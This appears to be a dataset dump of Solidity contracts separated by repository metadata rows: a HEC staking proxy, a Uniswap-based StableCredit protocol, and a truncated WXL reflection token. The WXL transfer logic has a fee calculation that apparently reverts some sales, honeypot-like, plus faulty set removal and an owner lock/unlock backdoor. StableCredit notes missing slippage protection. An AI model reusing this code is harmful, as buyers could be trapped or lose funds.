function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IStaking {
function stake(uint _amount, address _recipient) external returns (bool);
function claim(address _recipient) external;
function epoch() external view returns (uint length,
uint number,
uint endBlock,
uint distribute);
}
interface IsHEC {
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
}
interface IStakingManager{
function warmupPeriod() external view returns (uint);
}
contract StakingProxy is Ownable {
using SafeERC20 for IERC20;
using SafeMath for uint;
address public immutable HEC;
address public immutable sHEC;
address public immutable manager;
address public immutable staking;
uint public lastStakedEpoch;
struct Claim {
uint deposit;
uint gons;
uint expiry;
}
mapping(address => Claim) public claims;
constructor(address _hec, // HEC Token contract address
address _shec, // sHEC Token contract address
address _manager, // Staking Manager contract address
address _staking) {
require(_hec != address(0));
require(_shec != address(0));
require(_manager != address(0));
require(_staking != address(0));
HEC = _hec;
sHEC = _shec;
manager = _manager;
staking = _staking;
}
function stake(uint _amount, address _recipient) external returns (bool) {
require(msg.sender == manager); // only allow calls from the StakingManager
require(_recipient != address(0));
require(_amount != 0); // why would anyone need to stake 0 HEC?
Claim memory claimInfo = claims[_recipient];
uint stakingEpoch = getStakingEpoch();
if(claimInfo.expiry <= stakingEpoch) {
claim(_recipient);
}
lastStakedEpoch=stakingEpoch;
claims[_recipient] = Claim({
deposit: claimInfo.deposit.add(_amount),
gons: claimInfo.gons.add(IsHEC(sHEC).gonsForBalance(_amount)),
expiry: lastStakedEpoch.add(IStakingManager(staking).warmupPeriod())
});
IERC20(HEC).approve(staking, _amount);
return IStaking(staking).stake(_amount, address(this));
}
function claim(address _recipient) public {
require(msg.sender == manager); // only allow calls from the StakingManager
require(_recipient != address(0));
if(getStakingEpoch()>=lastStakedEpoch+IStakingManager(staking).warmupPeriod()){
IStaking(staking).claim(address(this));
}
Claim memory claimInfo = claims[ _recipient ];
if(claimInfo.gons == 0||claimInfo.expiry>getStakingEpoch()) {
return;
}
delete claims[_recipient];
IERC20(sHEC).transfer(_recipient, IsHEC(sHEC).balanceForGons(claimInfo.gons));
}
function getStakingEpoch() view public returns(uint stakingEpoch){
(,stakingEpoch,,)=IStaking(staking).epoch();
}
}
| 331,326 | 13,578 |
f01d0921c60ecfeb6fb98242700c19f421280cd594eb39cc90e3753015f035c9
| 17,661 |
.sol
|
Solidity
| false |
55591416
|
makoto/london-ethereum-codeup
|
72c3623723dc8d4f18d78f287902343e3d931be8
|
materials/37/stablecredit/StableCreditProtocol.sol
| 4,476 | 16,986 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping (address => uint) private _balances;
mapping (address => mapping (address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns (uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface UniswapPair {
function mint(address to) external returns (uint liquidity);
}
interface Oracle {
function getPriceUSD(address reserve) external view returns (uint);
}
interface UniswapRouter {
function removeLiquidity(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB);
function swapExactTokensForTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapTokensForExactTokens(uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
function factory() external view returns (address);
}
interface UniswapFactory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract StableCreditProtocol is ERC20, ERC20Detailed {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint;
// Oracle used for price debt data (external to the AMM balance to avoid internal manipulation)
Oracle public constant LINK = Oracle(0x271bf4568fb737cc2e6277e9B1EE0034098cDA2a);
UniswapRouter public constant UNI = UniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
// Maximum credit issued off of deposits (to avoid infinite leverage)
uint public constant MAX = 7500;
uint public constant BASE = 10000;
// user => token => credit
mapping (address => mapping(address => uint)) public credit;
// user => token => balance
mapping (address => mapping(address => uint)) public balances;
// user => address[] markets (credit markets supplied to)
mapping (address => address[]) public markets;
event Borrow(address indexed borrower, address indexed borrowed, uint creditIn, uint amountOut);
event Repay(address indexed borrower, address indexed repaid, uint creditOut, uint amountIn);
event Deposit(address indexed creditor, address indexed collateral, uint creditOut, uint amountIn, uint creditMinted);
event Withdraw(address indexed creditor, address indexed collateral, uint creditIn, uint creditOut, uint amountOut);
constructor () public ERC20Detailed("StableCredit", "scUSD", 8) {}
// Borrow exact amount of token output, can have variable USD input up to inMax
function borrowExactOut(address token, uint inMax, uint outExact) external {
_transfer(msg.sender, address(this), inMax);
IERC20(this).safeApprove(address(UNI), 0);
IERC20(this).safeApprove(address(UNI), inMax);
address[] memory _path = new address[](2);
_path[0] = address(this);
_path[1] = token;
uint[] memory _amounts = UNI.swapTokensForExactTokens(outExact, inMax, _path, msg.sender, now.add(1800));
_transfer(address(this), msg.sender, balanceOf(address(this)));
emit Borrow(msg.sender, token, _amounts[0], _amounts[1]);
}
// Borrow variable amount of token, given exact USD input
function borrowExactIn(address token, uint inExact, uint outMin) external {
_transfer(msg.sender, address(this), inExact);
IERC20(this).safeApprove(address(UNI), 0);
IERC20(this).safeApprove(address(UNI), inExact);
address[] memory _path = new address[](2);
_path[0] = address(this);
_path[1] = token;
uint[] memory _amounts = UNI.swapExactTokensForTokens(inExact, outMin, _path, msg.sender, now.add(1800));
emit Borrow(msg.sender, token, _amounts[0], _amounts[1]);
}
// Repay variable amount of token given exact output amount in USD
function repayExactOut(address token, uint inMax, uint outExact) external {
IERC20(token).safeTransferFrom(msg.sender, address(this), inMax);
IERC20(token).safeApprove(address(UNI), 0);
IERC20(token).safeApprove(address(UNI), inMax);
address[] memory _path = new address[](2);
_path[0] = token;
_path[1] = address(this);
uint[] memory _amounts = UNI.swapTokensForExactTokens(outExact, inMax, _path, msg.sender, now.add(1800));
IERC20(token).safeTransfer(msg.sender, IERC20(token).balanceOf(address(this)));
emit Repay(msg.sender, token, _amounts[1], _amounts[0]);
}
// Repay variable amount of USD, given exact amount of token input
function repayExactIn(address token, uint inExact, uint outMin) external {
IERC20(token).safeTransferFrom(msg.sender, address(this), inExact);
IERC20(this).safeApprove(address(UNI), 0);
IERC20(this).safeApprove(address(UNI), inExact);
address[] memory _path = new address[](2);
_path[0] = token;
_path[1] = address(this);
uint[] memory _amounts = UNI.swapExactTokensForTokens(inExact, outMin, _path, msg.sender, now.add(1800));
emit Repay(msg.sender, token, _amounts[1], _amounts[0]);
}
function depositAll(address token) external {
deposit(token, IERC20(token).balanceOf(msg.sender));
}
function deposit(address token, uint amount) public {
_deposit(token, amount);
}
// UNSAFE: No slippage protection, should not be called directly
function _deposit(address token, uint amount) internal {
uint _value = LINK.getPriceUSD(token).mul(amount).div(uint256(10)**ERC20Detailed(token).decimals());
require(_value > 0, "!value");
address _pair = UniswapFactory(UNI.factory()).getPair(token, address(this));
if (_pair == address(0)) {
_pair = UniswapFactory(UNI.factory()).createPair(token, address(this));
}
IERC20(token).safeTransferFrom(msg.sender, _pair, amount);
_mint(_pair, _value); // Amount of aUSD to mint
uint _before = IERC20(_pair).balanceOf(address(this));
UniswapPair(_pair).mint(address(this));
uint _after = IERC20(_pair).balanceOf(address(this));
// Assign LP tokens to user, token <> pair is deterministic thanks to CREATE2
balances[msg.sender][token] = balances[msg.sender][token].add(_after.sub(_before));
// This mechanism avoids large influx of deposits to overpower the system
// Calculated after deposit to see impact of current deposit (prevents front-running credit)
uint _credit = _value.mul(utilization(token)).div(BASE);
credit[msg.sender][token] = credit[msg.sender][token].add(_credit);
_mint(msg.sender, _credit);
markets[msg.sender].push(token);
emit Deposit(msg.sender, token, _credit, amount, _value);
}
function withdrawAll(address token) external {
_withdraw(token, IERC20(this).balanceOf(msg.sender));
}
function withdraw(address token, uint amount) external {
_withdraw(token, amount);
}
// UNSAFE: No slippage protection, should not be called directly
function _withdraw(address token, uint amount) internal {
uint _credit = credit[msg.sender][token];
uint _uni = balances[msg.sender][token];
if (_credit < amount) {
amount = _credit;
}
_burn(msg.sender, amount);
credit[msg.sender][token] = credit[msg.sender][token].sub(amount);
// Calculate % of collateral to release
_uni = _uni.mul(amount).div(_credit);
address _pair = UniswapFactory(UNI.factory()).getPair(token, address(this));
IERC20(_pair).safeApprove(address(UNI), 0);
IERC20(_pair).safeApprove(address(UNI), _uni);
UNI.removeLiquidity(token,
address(this),
_uni,
0,
0,
address(this),
now.add(1800));
uint _amountA = IERC20(token).balanceOf(address(this));
uint _amountB = balanceOf(address(this));
uint _valueA = LINK.getPriceUSD(token).mul(_amountA).div(uint256(10)**ERC20Detailed(token).decimals());
require(_valueA > 0, "!value");
// Collateral increased in value, but we max at amount B withdrawn
if (_valueA > _amountB) {
_valueA = _amountB;
}
_burn(address(this), _valueA); // Amount of aUSD to burn (value of A leaving the system)
IERC20(token).safeTransfer(msg.sender, _amountA);
uint _left = balanceOf(address(this));
if (_left > 0) { // Asset A appreciated in value, receive credit diff
_transfer(address(this), msg.sender, _left);
}
emit Withdraw(msg.sender, token, amount, _left, _amountA);
}
function getMarkets(address owner) external view returns (address[] memory) {
return markets[owner];
}
function utilization(address token) public view returns (uint) {
return _utilization(token, 0);
}
// How much system liquidity is provided by this asset
function _utilization(address token, uint amount) internal view returns (uint) {
address _pair = UniswapFactory(UNI.factory()).getPair(token, address(this));
uint _ratio = BASE.sub(BASE.mul(balanceOf(_pair).add(amount)).div(totalSupply()));
if (_ratio == 0) {
return MAX;
}
return _ratio > MAX ? MAX : _ratio;
}
}
| 11,827 | 13,579 |
c9cf6e498317d1e16f3015d89a8e9b1695e1f38258dcf8a5856b08fe20f292d2
| 36,753 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TE/TEot9imtJ5yRaw1LqKJnsT2Hb6ZDN1BPFt_WXL.sol
| 5,220 | 19,510 |
//SourceUnit: tnt.sol
pragma solidity ^0.6.12;
// SPDX-License-Identifier: Unlicensed
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner for the amount of time provided
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = now + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(now > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
function _set(Set storage set, uint256 index,bytes32 value) private {
require(set._values.length > index, "EnumerableSet: index out of bounds");
set._values[index]=value;
}
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
function setV(UintSet storage set, uint256 index, uint256 value) internal {
_set(set._inner,index, bytes32(value));
}
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
contract WXL is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tFeeTotal;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 100000 * 10**18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
address private _lpAddr=address(0);
string private _name = "WXL";
string private _symbol = "WXL";
uint8 private _decimals = 18;
uint256 public feeRate=20;
uint256 public subRate=1;
mapping(address=>EnumerableSet.UintSet) userAmounts;
mapping(address=>EnumerableSet.UintSet) userBlocks;
constructor () public {
// // Create a uniswap pair for this new token
// _lpAddr = IUniswapV2Factory(_uniswapV2Router.factory())
// .createPair(address(this), _uniswapV2Router.WHT());
_rOwned[_msgSender()] = _rTotal;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function lpAddr() public view returns (address) {
return _lpAddr;
}
function lpAddSet(address spender) public onlyOwner returns (bool) {
_lpAddr=spender;
return true;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
uint256 rAmount = tAmount.mul(_getRate());
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 value) public override returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) override public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 getRate = _getRate();
if(_lpAddr==sender && sender!=owner()) {
_rOwned[sender] = _rOwned[sender].sub(amount.mul(getRate));
_rOwned[recipient] = _rOwned[recipient].add((amount*95/100).mul(getRate));
_rOwned[_lpAddr] = _rOwned[_lpAddr].add((amount*5/100).mul(getRate));
emit Transfer(sender, recipient, amount*95/100);
emit Transfer(sender, _lpAddr, amount*5/100);
userAmounts[recipient].add(amount*95/100);
userBlocks[recipient].add(block.number);
}else if (recipient==_lpAddr && sender!=owner()){
require(balanceOf(sender)>=amount,"less amount");
uint256 l = userAmounts[sender].length();
uint256 number=0;
uint256 b =0;
for (uint256 i=0;i<l;i++){
number = number.add(userAmounts[sender].at(i));
if (number > amount){
userAmounts[sender].setV(i,number.sub(amount));
break;
}else {
b = userBlocks[sender].at(i);
userBlocks[sender].remove(i);
userAmounts[sender].remove(i);
}
}
uint256 num = b.div(2400);
uint256 fee = (feeRate.sub(num.mul(subRate))).mul(amount).div(100);
uint256 rfee = fee.mul(getRate);
_reflectFee(rfee,fee);
_rOwned[sender] = _rOwned[sender].sub(amount.mul(getRate));
_rOwned[recipient] = _rOwned[recipient].add(amount.mul(getRate).sub(rfee));
emit Transfer(sender, recipient, amount);
}else {
_rOwned[sender] = _rOwned[sender].sub(amount.mul(getRate));
_rOwned[recipient] = _rOwned[recipient].add(amount.mul(getRate));
emit Transfer(sender, recipient, amount);
}
}
function getUserAmount(uint256 index,address user)public view returns(uint256){
return userAmounts[user].at(index);
}
function getUserBlock(uint256 index,address user)public view returns(uint256){
return userBlocks[user].at(index);
}
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
